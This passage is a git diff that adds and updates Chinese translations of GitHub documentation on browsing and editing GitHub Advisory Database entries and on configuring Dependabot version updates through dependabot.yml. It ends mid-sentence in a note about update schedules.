@@ -0,0 +1,128 @@ +--- +title: 浏览 GitHub Advisory Database 中的安全漏洞 +intro: The {% data variables.product.prodname_advisory_database %} allows you to browse or search for vulnerabilities that affect open source projects on {% data variables.product.company_short %}. +shortTitle: Browse Advisory Database +miniTocMaxHeadingLevel: 3 +redirect_from: +- /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database +- /code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database +- /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Security advisories +- Alerts +- Dependabot +- Vulnerabilities +- CVEs +ms.openlocfilehash: 0a44242676db751aaead576535d3ba14426c9ad6 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145098904" +--- + + +## 关于安全漏洞 + +{% data reusables.repositories.a-vulnerability-is %} + +## 关于 {% data variables.product.prodname_advisory_database %} + +{% data variables.product.prodname_advisory_database %} 包含已知安全漏洞的列表,分为两类: {% data variables.product.company_short %} 已审核的公告和未审核的公告。 + +{% data reusables.repositories.tracks-vulnerabilities %} + +### 关于 {% data variables.product.company_short %} 审核的公告 + +{% data variables.product.company_short %} 审核的公告是已映射到 {% data variables.product.company_short %} 依赖关系图跟踪的包的安全漏洞。 + +我们会仔细审查每个公告的有效性。 每个 {% data variables.product.company_short %} 审核的公告都有完整的描述,并包含生态系统和软件包信息。 + +如果为存储库启用 {% data variables.product.prodname_dependabot_alerts %} ,则当已审核的新 {% data variables.product.company_short %} 公告影响您依赖的包时,系统会自动通知您。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”。 + +### 关于未审核的公告 + +未审核的公告是我们直接从国家漏洞数据库源自动发布到 {% data variables.product.prodname_advisory_database %} 的安全漏洞。 + +{% data variables.product.prodname_dependabot %} 不会为未审核的公告创建 {% data variables.product.prodname_dependabot_alerts %},因为不会检查此类公告的有效性或完成情况。 + +## 关于安全公告 + +每个安全通告都包含有关漏洞的信息,可能包括说明、严重程度、受影响的包、包生态系统、受影响的版本和修补版本、影响以及可选信息(如引用、解决方法和积分)。 此外,国家漏洞数据库列表中的公告包含 CVE 记录链接,通过链接可以查看漏洞、其 CVSS 得分及其质化严重等级的更多详细信息。 有关详细信息,请参阅美国国家标准和技术研究院的“[国家漏洞数据库](https://nvd.nist.gov/)”。 + +严重级别是“[常见漏洞评分系统 (CVSS) 第 5 节](https://www.first.org/cvss/specification-document)”中定义的四个可能级别之一。 +- 低 +- 中 +- 高 +- 严重 + +{% data variables.product.prodname_advisory_database %} 使用上述 CVSS 级别。 如果 {% data variables.product.company_short %} 获取 CVE,{% data variables.product.prodname_advisory_database %} 将使用 CVSS 版本 3.1。 如果 CVE 是导入的,则 {% data variables.product.prodname_advisory_database %} 支持 CVSS 版本 3.0 和 3.1。 + +{% data reusables.repositories.github-security-lab %} + +## 访问 {% data variables.product.prodname_advisory_database %} 中的通告 + +1. 导航到 https://github.com/advisories。 +2. (可选)要过滤列表,请使用任意下拉菜单。 + ![下拉筛选器](/assets/images/help/security/advisory-database-dropdown-filters.png) {% tip %} + + 提示:可以使用左侧边栏分别浏览 {% data variables.product.company_short %} 已审核和未审核的公告。 + + {% endtip %} +3. 单击任何通告以查看详情。 + +{% note %} + +也可以使用 GraphQL API 访问数据库。 有关详细信息,请参阅“[`security_advisory` Webhook 事件](/webhooks/event-payloads/#security_advisory)”。 + +{% endnote %} + +## 在 {% data variables.product.prodname_advisory_database %} 中编辑公告 +您可以对 {% data variables.product.prodname_advisory_database %} 中的任何公告提出改进建议。 有关详细信息,请参阅“[在 {% data variables.product.prodname_advisory_database %} 中编辑安全公告](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database)”。 + +## 搜索 {% data variables.product.prodname_advisory_database %} + +您可以搜索数据库,并使用限定符缩小搜索范围。 例如,您可以搜索在特定日期、特定生态系统或特定库中创建的通告。 + +{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +| 限定符 | 示例 | +| ------------- | ------------- | +| `type:reviewed`| [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed) 显示 {% data variables.product.company_short %}-审核的公告。 | +| `type:unreviewed`| [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) 显示未审核的公告。 | +| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) 显示包含此 {% data variables.product.prodname_advisory_database %} ID 的公告。 | +| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) 显示具有此 CVE ID 编号的公告。 | +| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) 仅显示影响 NPM 包的公告。 | +| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) 仅显示具有较高严重性级别的公告。 | +| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) 仅显示影响 lodash 库的公告。 | +| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) 仅显示具有此 CWE 编号的公告。 | +| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) 仅显示属于“octocat”用户帐户的公告。 | +| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) 按最旧的公告在前的顺序进行排序。 | +| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) 按最新的公告在前的顺序进行排序。 | +| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) 按更新时间由远及近的顺序排序。 | +| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) 按更新时间由近及远的顺序排序。 | +| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) 仅显示已撤回的公告。 | +| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) 仅显示在此日期创建的公告。 | +| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) 仅显示在此日期更新的公告。 | + +## 查看有漏洞的仓库 + +对于 {% data variables.product.prodname_advisory_database %} 中任何 {% data variables.product.company_short %} 审核的公告,您可以查看哪些存储库受该安全漏洞的影响。 要查看有漏洞的仓库,您必须有权访问该仓库的 {% data variables.product.prodname_dependabot_alerts %}。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)”。 + +1. 导航到 https://github.com/advisories。 +2. 单击通告。 +3. 在公告页面顶部,单击“Dependabot 警报”。 + ![Dependabot 警报](/assets/images/help/security/advisory-database-dependabot-alerts.png) +4. (可选)要过滤列表,请使用搜索栏或下拉菜单。 “Organization(组织)”下拉菜单用于按所有者(组织或用户)过滤 {% data variables.product.prodname_dependabot_alerts %}。 + ![用于筛选警报的搜索栏和下拉菜单](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) +5. 有关漏洞的更多详细信息,以及有关如何修复有漏洞的仓库的建议,请单击仓库名称。 + +## 延伸阅读 + +- MITRE 的[“漏洞”定义](https://www.cve.org/ResourcesSupport/Glossary#vulnerability) diff --git a/translations/zh-CN/content/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database.md b/translations/zh-CN/content/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database.md new file mode 100644 index 0000000000..ac7001bf2f --- /dev/null +++ b/translations/zh-CN/content/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database.md @@ -0,0 +1,59 @@ +--- +title: 在 GitHub Advisory Database 中编辑安全公告 +intro: 你可以对 {% data variables.product.prodname_advisory_database %} 中发布的任何公告提交改进建议。 +redirect_from: +- /code-security/security-advisories/editing-security-advisories-in-the-github-advisory-database +- /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: +- Security advisories +- Alerts +- Dependabot +- Vulnerabilities +- CVEs +shortTitle: Edit Advisory Database +ms.openlocfilehash: 053ef8d087cc3a34a9a975399f5f95115b373cc5 +ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/27/2022 +ms.locfileid: "148111543" +--- +## 关于在 {% data variables.product.prodname_advisory_database %} 中编辑公告 +位于 [github.com/advisories](https://github.com/advisories) 的 {% data variables.product.prodname_advisory_database %} 中的安全公告被视为全局公告。 任何人都可以对 {% data variables.product.prodname_advisory_database %} 中的任何全局安全公告提出改进建议。 可以编辑或添加任何详细信息,包括其他受影响的生态系统、严重性级别或受影响方的说明。 {% data variables.product.prodname_security %} 策展团队将评审提交的改进,并在接受后将其发布到 {% data variables.product.prodname_advisory_database %} 上。 +{% ifversion fpt or ghec %}只有存储库所有者和管理员才能编辑存储库级别的安全公告。 有关详细信息,请参阅“[编辑存储库安全性公告](/code-security/security-advisories/editing-a-security-advisory)”。{% endif %} + +## 在 GitHub Advisory Database 中编辑公告 + +1. 导航到 https://github.com/advisories。 +1. 选择要编辑的安全公告。 +1. 在页面右侧,单击“此漏洞的建议改进”链接。 + + ![建议改进链接的屏幕截图](/assets/images/help/security/suggest-improvements-to-advisory.png) + +1. 在“改进安全公告”窗体中,进行所需的改进。 可以编辑或添加任何详细信息。{% ifversion fpt or ghec %}有关正确指定窗体上信息(包括受影响的版本)的信息,请参阅“[编写存储库安全公告的最佳做法](/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories)”。{% endif %}{% ifversion security-advisories-reason-for-change %} +1. 在“更改原因”下,解释为何要进行此改进。 如果包含指向支持材料的链接,这将对我们的审阅者有帮助。 + + ![更改原因字段的屏幕截图](/assets/images/help/security/security-advisories-suggest-improvement-reason.png){% endif %} + +1. 编辑完公告后,单击“提交改进”。 +1. 提交改进后,系统将创建包含你的更改的拉取请求,供 {% data variables.product.prodname_security %} 策展团队在 [github/advisory-database](https://github.com/github/advisory-database) 中查看。 如果公告源自 {% data variables.product.prodname_dotcom %} 存储库,我们还会标记原始发布者以便提供可选评论。 可以在拉取请求更新或关闭时查看拉取请求并获取通知。 + +还可以直接在 [github/advisory-database](https://github.com/github/advisory-database) 存储库中的公告文件上打开拉取请求。 有关详细信息,请参阅[贡献指南](https://github.com/github/advisory-database/blob/main/CONTRIBUTING.md)。 + +{% ifversion security-advisories-ghes-ghae %} +## 编辑来自 {% data variables.location.product_location %} 的公告 + +如果已为 {% data variables.location.product_location %} 启用 {% data variables.product.prodname_github_connect %},你将能够通过将 `/advisories` 添加到实例 URL 来查看公告。 + +1. 导航到 `https://HOSTNAME/advisories`。 +2. 选择要编辑的安全公告。 +3. 在页面右侧,单击“在 {% data variables.product.prodname_dotcom_the_website %} 上针对此漏洞提出改进建议”。 链接。 此时会在 {% data variables.product.prodname_dotcom_the_website %} 上打开一个新选项卡,该选项卡具有相同的安全公告。 +![建议改进链接](/assets/images/help/security/suggest-improvements-to-advisory-on-github-com.png) +4. 按照上述“[在 GitHub 公告数据库中编辑公告](#editing-advisories-in-the-github-advisory-database)”中的步骤 4 到 6 编辑公告。 +{% endif %} diff --git a/translations/zh-CN/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md b/translations/zh-CN/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md index 7620498058..c3368314bd 100644 --- a/translations/zh-CN/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md +++ b/translations/zh-CN/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md @@ -1,6 +1,6 @@ --- -title: About Dependabot version updates -intro: 'You can use {% data variables.product.prodname_dependabot %} to keep the packages you use updated to the latest versions.' +title: 关于 Dependabot 版本更新 +intro: '您可以使用 {% data variables.product.prodname_dependabot %} 来确保您使用的包更新到最新版本。' redirect_from: - /github/administering-a-repository/about-dependabot - /github/administering-a-repository/about-github-dependabot @@ -21,51 +21,53 @@ topics: - Dependencies - Pull requests shortTitle: Dependabot version updates +ms.openlocfilehash: 56bac2fbf2fb42a418cffbd478aa526803b124d9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145186082' --- +{% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -{% data reusables.dependabot.beta-security-and-version-updates %} -{% data reusables.dependabot.enterprise-enable-dependabot %} +## 关于 {% data variables.product.prodname_dependabot_version_updates %} -## About {% data variables.product.prodname_dependabot_version_updates %} +{% data variables.product.prodname_dependabot %} 负责维护您的依赖项。 您可以使用它来确保仓库自动跟上它所依赖的包和应用程序的最新版本。 -{% data variables.product.prodname_dependabot %} takes the effort out of maintaining your dependencies. You can use it to ensure that your repository automatically keeps up with the latest releases of the packages and applications it depends on. +通过将 `dependabot.yml` 配置文件签入存储库,可启用 {% data variables.product.prodname_dependabot_version_updates %}。 配置文件指定存储在仓库中的清单或其他包定义文件的位置。 {% data variables.product.prodname_dependabot %} 使用此信息检查过时的包和应用程序。 {% data variables.product.prodname_dependabot %} 通过查看依赖项的语义版本控制 ([semver](https://semver.org/)) 来确定是否存在新版本的依赖项,从而决定它是否应该更新到该版本。 对于某些软件包管理器,{% data variables.product.prodname_dependabot_version_updates %} 也支持供应。 供应(或缓存)的依赖项是检入仓库中特定目录的依赖项,而不是在清单中引用的依赖项。 即使包服务器不可用,供应的依赖项在生成时也可用。 {% data variables.product.prodname_dependabot_version_updates %} 可以配置为检查为新版本供应的依赖项,并在必要时更新它们。 -You enable {% data variables.product.prodname_dependabot_version_updates %} by checking a `dependabot.yml` configuration file into your repository. The configuration file specifies the location of the manifest, or of other package definition files, stored in your repository. {% data variables.product.prodname_dependabot %} uses this information to check for outdated packages and applications. {% data variables.product.prodname_dependabot %} determines if there is a new version of a dependency by looking at the semantic versioning ([semver](https://semver.org/)) of the dependency to decide whether it should update to that version. For certain package managers, {% data variables.product.prodname_dependabot_version_updates %} also supports vendoring. Vendored (or cached) dependencies are dependencies that are checked in to a specific directory in a repository rather than referenced in a manifest. Vendored dependencies are available at build time even if package servers are unavailable. {% data variables.product.prodname_dependabot_version_updates %} can be configured to check vendored dependencies for new versions and update them if necessary. +当 {% data variables.product.prodname_dependabot %} 发现过时的依赖项时,它将引发一个拉取请求,用于将清单更新到依赖项的最新版本。 对于供应和依赖项,{% data variables.product.prodname_dependabot %} 提出拉取请求以直接将过时的依赖项替换为新版本。 检查测试是否通过,查看拉取请求摘要中包含的更改日志和发行说明,然后合并它。 有关详细信息,请参阅“[配置 {% data variables.product.prodname_dependabot %} 版本更新](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)”。 -When {% data variables.product.prodname_dependabot %} identifies an outdated dependency, it raises a pull request to update the manifest to the latest version of the dependency. For vendored dependencies, {% data variables.product.prodname_dependabot %} raises a pull request to replace the outdated dependency with the new version directly. You check that your tests pass, review the changelog and release notes included in the pull request summary, and then merge it. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." - -If you enable _security updates_, {% data variables.product.prodname_dependabot %} also raises pull requests to update vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." +如果启用“安全更新”,{% data variables.product.prodname_dependabot %} 还将引发用于更新易受攻击的依赖项的拉取请求。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)”。 {% data reusables.dependabot.pull-request-security-vs-version-updates %} -{% data reusables.dependabot.dependabot-updates-and-actions %} - {% data reusables.dependabot.dependabot-tos %} -## Frequency of {% data variables.product.prodname_dependabot %} pull requests +## {% data variables.product.prodname_dependabot %} 拉取请求的频率 -You specify how often to check each ecosystem for new versions in the configuration file: daily, weekly, or monthly. +在配置文件中指定检查每个生态系统的新版本的频率:每日、每周或每月。 {% data reusables.dependabot.initial-updates %} -If you've enabled security updates, you'll sometimes see extra pull requests for security updates. These are triggered by a {% data variables.product.prodname_dependabot %} alert for a dependency on your default branch. {% data variables.product.prodname_dependabot %} automatically raises a pull request to update the vulnerable dependency. +如果您启用了安全更新,有时会看到额外的安全更新拉取请求。 这些请求是由依赖于默认分支的 {% data variables.product.prodname_dependabot %} 警报触发的。 {% data variables.product.prodname_dependabot %} 自动提出拉取请求以更新有漏洞的依赖项。 -## Supported repositories and ecosystems +## 支持的仓库和生态系统 -You can configure version updates for repositories that contain a dependency manifest or lock file for one of the supported package managers. For some package managers, you can also configure vendoring for dependencies. For more information, see "[Configuration options for the dependabot.yml file](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates#vendor)." +您可以为包含其中一个受支持包管理器的依赖项清单或锁定文件的仓库配置版本更新。 对于某些软件包管理器,您也可以配置依赖项的供应。 有关详细信息,请参阅“[dependabot.yml 文件的配置选项](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates#vendor)”。 {% note %} {% data reusables.dependabot.private-dependencies-note %} -{% data variables.product.prodname_dependabot %} doesn't support private {% data variables.product.prodname_dotcom %} dependencies for all package managers. See the details in the table below. +{% data variables.product.prodname_dependabot %} 不支持所有包管理器的私有 {% data variables.product.prodname_dotcom %} 依赖项。 详见下表。 {% endnote %} {% data reusables.dependabot.supported-package-managers %} -If your repository already uses an integration for dependency management, you will need to disable this before enabling {% data variables.product.prodname_dependabot %}. {% ifversion fpt or ghec %}For more information, see "[About integrations](/github/customizing-your-github-workflow/about-integrations)."{% endif %} +如果您的仓库已使用集成进行依赖项管理,则在启用 {% data variables.product.prodname_dependabot %} 前需要禁用此集成。 {% ifversion fpt or ghec %} 有关详细信息,请参阅“[关于集成](/github/customizing-your-github-workflow/about-integrations)”。{% endif %} -## About notifications for {% data variables.product.prodname_dependabot %} version updates +## 关于 {% data variables.product.prodname_dependabot %} 版本更新通知 -You can filter your notifications on {% data variables.product.company_short %} to show notifications for pull requests created by {% data variables.product.prodname_dependabot %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." +您可以按 {% data variables.product.company_short %} 筛选通知,以显示由 {% data variables.product.prodname_dependabot %}创建的拉取请求的通知。 有关详细信息,请参阅“[管理收件箱中的通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)”。 diff --git a/translations/zh-CN/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md b/translations/zh-CN/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md index 891b600257..1c8213ae7e 100644 --- a/translations/zh-CN/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md +++ b/translations/zh-CN/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md @@ -1,6 +1,6 @@ --- -title: Configuration options for the dependabot.yml file -intro: 'Detailed information for all the options you can use to customize how {% data variables.product.prodname_dependabot %} maintains your repositories.' +title: dependabot.yml 文件的配置选项 +intro: '可用于自定义 {% data variables.product.prodname_dependabot %} 如何维护仓库的所有选项的详细信息。' permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_dependabot %} for the repository.' allowTitleToDifferFromFilename: true redirect_from: @@ -20,56 +20,54 @@ topics: - Dependencies - Pull requests shortTitle: Configure dependabot.yml +ms.openlocfilehash: f7753a73f4a889b3c97ca1f47ad3dc1d41da5bc8 +ms.sourcegitcommit: 8544f120269257d01adfe4a27b62f08fc8691727 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/02/2022 +ms.locfileid: '147444651' --- +{% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -{% data reusables.dependabot.beta-security-and-version-updates %} -{% data reusables.dependabot.enterprise-enable-dependabot %} +## 关于 dependabot.yml 文件 -## About the *dependabot.yml* file +{% data variables.product.prodname_dependabot %} 配置文件 dependabot.yml 使用 YAML 语法。 如果你不熟悉 YAML 并且想要了解详细信息,请参阅“[在五分钟内了解 YAML](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)”。 -The {% data variables.product.prodname_dependabot %} configuration file, *dependabot.yml*, uses YAML syntax. If you're new to YAML and want to learn more, see "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)." +必须将此文件存储在存储库的 `.github` 目录中。 在添加或更新 dependabot.yml 文件时,这将立即触发版本更新检查。 有关详细信息和示例,请参阅“[配置 {% data variables.product.prodname_dependabot %} 版本更新](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates#enabling-dependabot-version-updates)”。 -You must store this file in the `.github` directory of your repository. When you add or update the *dependabot.yml* file, this triggers an immediate check for version updates. For more information and an example, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates#enabling-dependabot-version-updates)." +下次安全警报触发安全更新的拉取请求时将使用所有同时影响安全更新的选项。 有关详细信息,请参阅“[配置 {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)”。 -Any options that also affect security updates are used the next time a security alert triggers a pull request for a security update. For more information, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)." +dependabot.yml 文件有两个必需的顶级项:`version` 和 `updates`。 可以选择包括顶级 `registries` 项{% ifversion ghes = 3.5 %} 和/或 `enable-beta-ecosystems` 项{% endif %}。 该文件必须以 `version: 2` 开头。 -{% note %} +## dependabot.yml 文件的配置选项 -**Note:** You cannot configure {% data variables.product.prodname_dependabot_alerts %} using the *dependabot.yml* file. - -{% endnote %} - -The *dependabot.yml* file has two mandatory top-level keys: `version`, and `updates`. You can, optionally, include a top-level `registries` key{% ifversion ghes = 3.5 %} and/or a `enable-beta-ecosystems` key{% endif %}. The file must start with `version: 2`. - -## Configuration options for the *dependabot.yml* file - -The top-level `updates` key is mandatory. You use it to configure how {% data variables.product.prodname_dependabot %} updates the versions or your project's dependencies. Each entry configures the update settings for a particular package manager. You can use the following options. +顶级 `updates` 项是必需的。 您使用它来配置 {% data variables.product.prodname_dependabot %} 如何更新版本或项目的依赖项。 每个条目都为特定的包管理器配置更新设置。 您可以使用以下选项。 {% data reusables.dependabot.configuration-options %} -These options fit broadly into the following categories. +这些选项大致分为以下类别。 -- Essential set up options that you must include in all configurations: [`package-ecosystem`](#package-ecosystem), [`directory`](#directory),[`schedule.interval`](#scheduleinterval). -- Options to customize the update schedule: [`schedule.time`](#scheduletime), [`schedule.timezone`](#scheduletimezone), [`schedule.day`](#scheduleday). -- Options to control which dependencies are updated: [`allow`](#allow), [`ignore`](#ignore), [`vendor`](#vendor). -- Options to add metadata to pull requests: [`reviewers`](#reviewers), [`assignees`](#assignees), [`labels`](#labels), [`milestone`](#milestone). -- Options to change the behavior of the pull requests: [`target-branch`](#target-branch), [`versioning-strategy`](#versioning-strategy), [`commit-message`](#commit-message), [`rebase-strategy`](#rebase-strategy), [`pull-request-branch-name.separator`](#pull-request-branch-nameseparator). +- 必须在所有配置中包含的基本设置选项:[`package-ecosystem`](#package-ecosystem)、[`directory`](#directory)、[`schedule.interval`](#scheduleinterval)。 +- 用于自定义更新计划的选项:[`schedule.time`](#scheduletime)、[`schedule.timezone`](#scheduletimezone)、[`schedule.day`](#scheduleday)。 +- 用于控制要更新的依赖项的选项:[`allow`](#allow)、[`ignore`](#ignore)、[`vendor`](#vendor)。 +- 用于向拉取请求添加元数据的选项:[`reviewers`](#reviewers)、[`assignees`](#assignees)、[`labels`](#labels)、[`milestone`](#milestone)。 +- 用于更改拉取请求的行为的选项:[`target-branch`](#target-branch)、[`versioning-strategy`](#versioning-strategy)、[`commit-message`](#commit-message)、[`rebase-strategy`](#rebase-strategy)、[`pull-request-branch-name.separator`](#pull-request-branch-nameseparator)。 -In addition, the [`open-pull-requests-limit`](#open-pull-requests-limit) option changes the maximum number of pull requests for version updates that {% data variables.product.prodname_dependabot %} can open. +此外,[`open-pull-requests-limit`](#open-pull-requests-limit) 选项会更改 {% data variables.product.prodname_dependabot %} 可以打开的版本更新的最大拉取请求数。 {% note %} -**Note:** Some of these configuration options may also affect pull requests raised for security updates of vulnerable package manifests. +注意:其中一些配置选项还可能会影响针对易受攻击的程序包清单安全更新提出的拉取请求。 -Security updates are raised for vulnerable package manifests only on the default branch. When configuration options are set for the same branch (true unless you use `target-branch`), and specify a `package-ecosystem` and `directory` for the vulnerable manifest, then pull requests for security updates use relevant options. +仅对默认分支上有漏洞的包清单提出安全更新。 如果为同一分支设置了配置选项(除非使用 `target-branch`,否则为 true),并为易受攻击的清单指定了 `package-ecosystem` 和 `directory`,则安全更新的拉取请求将使用相关选项。 -In general, security updates use any configuration options that affect pull requests, for example, adding metadata or changing their behavior. For more information about security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)." +一般而言,安全更新会使用影响拉取请求的任何配置选项,例如添加元数据或改变其行为。 有关安全更新的详细信息,请参阅“[配置 {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)”。 {% endnote %} ### `package-ecosystem` -**Required**. You add one `package-ecosystem` element for each package manager that you want {% data variables.product.prodname_dependabot %} to monitor for new versions. The repository must also contain a dependency manifest or lock file for each of these package managers. If you want to enable vendoring for a package manager that supports it, the vendored dependencies must be located in the required directory. For more information, see [`vendor`](#vendor) below. +“必需”。 你为希望 {% data variables.product.prodname_dependabot %} 监视新版本的每个包管理器添加一个 `package-ecosystem` 元素。 仓库还必须包含其中每个包管理器的依赖项清单或锁定文件。 如果您想要为支持它的软件包管理器启用供应,则必须在所需的目录中找到供应的依赖项。 有关详细信息,请参阅下面的 [`vendor`](#vendor)。 {% data reusables.dependabot.supported-package-managers %} @@ -83,24 +81,24 @@ updates: - package-ecosystem: "github-actions" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Maintain dependencies for npm - package-ecosystem: "npm" directory: "/" schedule: - interval: "weekly" + interval: "daily" # Maintain dependencies for Composer - package-ecosystem: "composer" directory: "/" schedule: - interval: "weekly" + interval: "daily" ``` ### `directory` -**Required**. You must define the location of the package manifests for each package manager (for example, the *package.json* or *Gemfile*). You define the directory relative to the root of the repository for all ecosystems except GitHub Actions. For GitHub Actions, set the directory to `/` to check for workflow files in `.github/workflows`. +“必需”。 必须为每个包管理器定义程序包清单的位置(例如 package.json 或 Gemfile) 。 为所有生态系统(GitHub Actions 除外)定义相对于仓库根目录的目录。 对于 GitHub Actions,请将目录设置为 `/`,以检查 `.github/workflows` 中的工作流文件。 ```yaml # Specify location of manifest files for each package manager @@ -111,31 +109,29 @@ updates: # Files stored in repository root directory: "/" schedule: - interval: "weekly" + interval: "daily" - package-ecosystem: "npm" # Files stored in `app` directory directory: "/app" schedule: - interval: "weekly" + interval: "daily" - package-ecosystem: "github-actions" # Workflow files stored in the # default location of `.github/workflows` directory: "/" schedule: - interval: "weekly" + interval: "daily" ``` ### `schedule.interval` -**Required**. You must define how often to check for new versions for each package manager. By default, {% data variables.product.prodname_dependabot %} randomly assigns a time to apply all the updates in the configuration file. To set a specific time, you can use [`schedule.time`](#scheduletime) and [`schedule.timezone`](#scheduletimezone). +“必需”。 必须为每个包管理器定义检查新版本的频率。 默认情况下, {% data variables.product.prodname_dependabot %} 随机分配一个时间来应用配置文件中的所有更新。 若要设置特定时间,可以使用 [`schedule.time`](#scheduletime) 和 [`schedule.timezone`](#scheduletimezone)。 -| Interval types | Frequency | -|----------------|-----------| -| `daily` | Runs on every weekday, Monday to Friday.| -| `weekly`| Runs once each week. By default, this is on Monday. To modify this, use [`schedule.day`](#scheduleday).| -| `monthly` | Runs once each month. This is on the first day of the month. | +- `daily` - 在每个工作日(周一至周五)运行。 +- `weekly` - 每周运行一次。 默认情况下为星期一。 若要对此进行修改,请使用 [`schedule.day`](#scheduleday)。 +- `monthly` - 每月运行一次。 在每月的第一天运行。 ```yaml # Set update schedule for each package manager @@ -158,7 +154,7 @@ updates: {% note %} -**Note**: `schedule` defines when {% data variables.product.prodname_dependabot %} attempts a new update. However, it's not the only time you may receive pull requests. Updates can be triggered based on changes to your `dependabot.yml` file, 